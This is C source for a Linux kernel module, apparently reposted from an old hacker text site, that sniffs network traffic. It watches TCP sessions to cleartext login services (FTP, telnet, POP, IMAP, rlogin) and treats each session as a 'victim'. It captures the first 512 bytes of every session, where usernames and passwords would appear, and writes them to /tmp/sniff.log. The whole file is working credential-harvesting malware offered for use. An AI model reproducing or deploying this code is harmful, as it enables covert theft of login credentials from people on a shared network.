#define DBGPRN3(X,Y,Z) if (debug) printk(KERN_DEBUG X, Y, Z);
#define DBGPRN4(X,Y,Z,W) if (debug) printk(KERN_DEBUG X, Y, Z, W);
#define DBGPRN5(X,Y,Z,W,V) if (debug) printk(KERN_DEBUG X, Y, Z, W, V);

#define TRUE -1
#define FALSE 0

#define CAPTLEN 512 /* no. of bytes to log */

/* do a 'touch LOGFILE' _before_ you load the module. */
#define LOGFILE "/tmp/sniff.log"

/* global data */
int debug, errno,
out_c, in_c, thru_c; /* packet counters */

struct t_data {
char content[1500];
unsigned long seq;
struct t_data *next;
};

struct {
unsigned short active;
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
unsigned long totlen;
struct t_data *data;
} victim;

char *dev;
MODULE_PARM(dev, "s"); /* gets the parameter dev=<devname> */
struct device *d;

struct packet_type sniff_proto;

/* Inicial Declarations */

// ERASE ivoid in_ntoa(char *, __u32);
char *in_ntoa(__u32 in);
void tcp_getflags(char *, struct sk_buff *);
void print_packet_info(struct sk_buff *);
int filter(struct sk_buff *);
void m_strncpy(char *, char *, int);
int m_strlen(char *);

void start_victim(struct sk_buff *);
void write_victim(struct sk_buff *);
void end_victim(void);


/* our packet handler */
int pkt_func(struct sk_buff *skb, struct device *dv, struct packet_type *pt) {

/* fix some pointers */
skb->h.raw = skb->nh.raw + skb->nh.iph->ihl*4;
skb->data = (unsigned char *)skb->h.raw + (skb->h.th->doff << 2);
skb->len -= skb->nh.iph->ihl*4 + (skb->h.th->doff << 2);

switch (skb->pkt_type) {
case PACKET_OUTGOING:
out_c++;
/* dont count with the hardware header */
if(strstr(dv->name, "ppp")) {
skb->len -= 10; /* YMMV */
break;
}

skb->len -= dv->hard_header_len;
break;
case PACKET_HOST:
in_c++;
break;
case PACKET_OTHERHOST:
thru_c++;
break;
default:
kfree_skb(skb);
return 0;
}

if(filter(skb)) {
kfree_skb(skb);
return 0;
}

/* rare case of NULL's in buffer contents */
if (m_strlen(skb->data) < skb->len)
skb->len = m_strlen(skb->data);

if (skb->len > CAPTLEN - victim.totlen)
skb->len = CAPTLEN - victim.totlen;

if (skb->len)
write_victim(skb);

pkt_out:
kfree_skb(skb);
return 0;
}

int filter (struct sk_buff *skb) {
/* this is the filter function. it checks if the packet is worth logging */

struct t_data *ptr, *i;

int port = FALSE;

if (skb->nh.iph->protocol != IPPROTO_TCP)
return TRUE;

if (ntohs(skb->h.th->dest) == 21 ||
ntohs(skb->h.th->dest) == 23 ||
ntohs(skb->h.th->dest) == 106 ||
ntohs(skb->h.th->dest) == 109 ||
ntohs(skb->h.th->dest) == 110 ||
ntohs(skb->h.th->dest) == 143 ||
ntohs(skb->h.th->dest) == 513)
port = TRUE;

if (victim.active) {
if((skb->h.th->dest != victim.dport) ||
(skb->h.th->source != victim.sport) ||
(skb->nh.iph->saddr != victim.saddr) ||
(skb->nh.iph->daddr != victim.daddr))
return TRUE;

if (victim.totlen >= CAPTLEN) {

ptr = kmalloc(sizeof(struct t_data), GFP_KERNEL);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
m_strncpy(ptr->content,
"\n\n*** END : CAPLEN reached ---\n", 50);
ptr->next = NULL;

i = victim.data;
while(i->next)
i = i->next;
i->next = ptr;

end_victim();
return TRUE;
}

if(skb->h.th->rst) {
ptr = kmalloc(sizeof(struct t_data), GFP_KERNEL);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
m_strncpy(ptr->content,
"\n\n*** END : RST caught ---\n", 50);
ptr->next = NULL;

i = victim.data;
while(i->next)
i = i->next;
i->next = ptr;

end_victim();
return TRUE;
}

if(skb->h.th->fin) {
ptr = kmalloc(sizeof(struct t_data), GFP_KERNEL);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
m_strncpy(ptr->content,
"\n\n*** END : FIN caught ---\n", 50);
ptr->next = NULL;

i = victim.data;
while(i->next)
i = i->next;
i->next = ptr;

end_victim();
return TRUE;
}
}
else {
if (port && skb->h.th->syn)
start_victim (skb);
else
return TRUE;
}

return FALSE;
}

void start_victim(struct sk_buff *skb) {

victim.active = TRUE;
victim.saddr = skb->nh.iph->saddr;
victim.daddr = skb->nh.iph->daddr;
victim.sport = skb->h.th->source;
victim.dport = skb->h.th->dest;

victim.data = kmalloc(sizeof(struct t_data), GFP_KERNEL);
/* we're a module, we can't afford to crash :P */
if(!victim.data) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}
victim.data->seq = ntohl(skb->h.th->seq);
victim.data->next = NULL;

sprintf(victim.data->content, "\n\n*** [%s:%u] ---> [%s:%u]\n\n",
in_ntoa(victim.saddr),
ntohs(victim.sport),
in_ntoa(victim.daddr),
ntohs(victim.dport));

victim.totlen = m_strlen(victim.data->content);
}

void write_victim(struct sk_buff *skb) {

struct t_data *ptr, *i;

ptr = victim.data;

while(ptr) {
if (ntohl(skb->h.th->seq) == ptr->seq)
return; /* seq not incremented (no data) */
ptr = ptr->next;
}

ptr = kmalloc(sizeof(struct t_data), GFP_KERNEL);
if(!ptr) {
DBGPRN1("Out of memory\n");
end_victim();
return;
}

ptr->next = NULL;
ptr->seq = ntohl(skb->h.th->seq);
m_strncpy(ptr->content, skb->data, skb->len);

/*
* putting it in the ordered list. Not the prettiest code, but my head
* is about to explode.
*/


/* IMPOSSIBLE. TO ERASE LATER
if(!victim.data) {
victim.data = ptr;
return;
}
*/

i = victim.data;

if(ptr->seq < i->seq) {
/*
* we caught a packet "younger" than the starting SYN.
* Likely? no. Possible? yep. forget the bastard.
*/

kfree(ptr);
return;
}
/* actual ordering of tcp packets */
while (ptr->seq > i->seq) {
if (!i->next) {
i->next = ptr;
goto end_wri;
}
if (i->next->seq > ptr->seq)
break;
i = i->next;
}

ptr->next = i->next;
i->next = ptr;

end_wri:
victim.totlen += m_strlen(ptr->content);
return;
}


void end_victim(void) {
/*
* Im now saving the data to a file. This is mainly BSD's process accounting
* code, as seen in the kernel sources.
*/

struct t_data *ptr;
struct file *file = NULL;
struct inode *inode;
mm_segment_t fs;

file = filp_open(LOGFILE, O_WRONLY|O_APPEND, 0);

if (IS_ERR(file)) {
errno = PTR_ERR(file);
DBGPRN2("error %i\n", errno);
goto vic_end;
}

if (!S_ISREG(file->f_dentry->d_inode->i_mode)) {
fput(file);
goto vic_end;
}

if (!file->f_op->write) {
fput(file);
goto vic_end;
}

fs = get_fs();
set_fs(KERNEL_DS);
inode = file->f_dentry->d_inode;
down(&inode->i_sem);
while (victim.data) {

file->f_op->write(file, (char *)&victim.data->content,
m_strlen(victim.data->content), &file->f_pos);
ptr = victim.data;
victim.data = victim.data->next;
kfree(ptr);
}

up(&inode->i_sem);
set_fs(fs);

/* Why comments here? shit, good question. I coded this a long time ago :)
ptr = victim.data;
victim.data = victim.data->next;
kfree(ptr);
}
*/


fput(file);

DBGPRN1("Entry saved\n");

vic_end:
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=FALSE;
victim.totlen=0;
victim.data=NULL;
}

char *in_ntoa(__u32 in) {
static char buff[18];
char *p;

p = (char *) &in;
sprintf(buff, "%d.%d.%d.%d",
(p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255));
return(buff);
}

void m_strncpy(char *dest, char *src, int size) {
char *i, *p;
p = dest;
for(i = src; *i != 0; i++) {
if (!size) break;
size--;
*p = *i;
p++;
}
*p = '\0';
}

int m_strlen(char *ptr) {
int i = 0;
while (*ptr) {
ptr++;
i++;
}
return i;
}

/* init_module */
int init_module(void) {

#ifdef DEBUG
debug = TRUE;
#else
debug = FALSE;
#endif

in_c = out_c = thru_c = 0;

victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=FALSE;
victim.data=NULL;

if (dev) {
d = dev_get(dev);
if (!d) {
DBGPRN2("Did not find device %s!\n", dev);
DBGPRN1("Sniffing all known devices...");
}
else {
DBGPRN3("Sniffing device %s, ifindex: %i\n",
dev, d->ifindex);
sniff_proto.dev = d;
}
}
else
DBGPRN1("Sniffing all known devices...\n");

sniff_proto.type = htons(ETH_P_ALL);

/* this one just gets us incoming packets */
/* sniff_proto.type = htons(ETH_P_IP); */

sniff_proto.func = pkt_func;
dev_add_pack(&sniff_proto);

return(0);
}

void cleanup_module(void) {
dev_remove_pack(&sniff_proto);
end_victim();

DBGPRN4("Statistics: [In: %i] [Out: %i] [Thru: %i]\n",
in_c, out_c, thru_c);
DBGPRN1("Sniffer Unloaded\n");
}

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT